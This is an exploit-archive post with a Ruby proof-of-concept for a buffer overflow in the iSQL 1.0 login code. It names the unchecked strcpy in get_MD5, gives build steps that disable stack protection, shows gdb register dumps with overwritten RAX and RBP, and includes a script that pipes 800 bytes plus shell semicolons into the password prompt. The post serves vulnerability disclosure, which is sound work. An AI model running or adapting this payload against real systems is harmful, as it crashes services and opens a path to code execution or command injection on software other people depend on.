iSQL 1.0 Buffer Overflow
Posted on 13 June 2016
#!/bin/ruby # Exploit Title: iSQL(RL) 1.0 - Buffer Overflow(isql_main.c) # Date: 2016-06-13 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/roselone/iSQL # Software Link: https://github.com/roselone/iSQL/archive/master.zip # Version: 1.0 # Tested on: Debian [wheezy] # CVE : none =begin ### Vulnerability Point :: [isql_main.c 453 line] strcpy((char *)cmd+5,str); code is vulnerable :: don't check str size 446 char *get_MD5(char *str){ 447 FILE *stream; 448 char *buf=malloc(sizeof(char)*33); 449 char cmd[100]; 450 memset(buf,' ',sizeof(buf)); 451 memset(cmd,' ',sizeof(cmd)); 452 strcpy(cmd,"echo "); //5 453 strcpy((char *)cmd+5,str); Edit makefile > CFLAGS = -fno-stack-protector #> make ### gdb history (gdb) r Starting program: /home/noon/Noon/LAB/exploit/vuln_test/iSQL/isql *************** welcome to ISQL **************** * version 1.0 * * Designed by RL * * Copyright (c) 2011, RL. All rights reserved * ************************************************ >username: hwul_test >password: AAAAAAAAAAAAAAAAAAAAAAAAAA... ("A" * 800) Program received signal SIGSEGV, Segmentation fault.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x000000000040644c in get_MD5 () (gdb) x/s $rax 0x4141414141414141: <error: Cannot access memory at address 0x4141414141414141> (gdb) x/s $rbp 0x4141414141414141: <error: Cannot access memory at address 0x4141414141414141> ### Registers (gdb) i r rax 0x4141414141414141 4702111234474983745 rbx 0x0 0 rcx 0x7ffff7b06480 140737348920448 rdx 0x0 0 rsi 0x60b610 6338064 rdi 0x5 5 rbp 0x4141414141414141 0x4141414141414141 rsp 0x7fffffffe948 0x7fffffffe948 r8 0xffffffff 4294967295 r9 0x0 =end puts "iSQL 1.0 - Buffer Overflow" puts " - by hahwul" puts " - Run BUG.." buffer = "A"*800 system("(sleep 5; echo -en 'hwul ';sleep 1;echo -en 'asdf;#{buffer};echo 1';sleep 10) | ./isql")
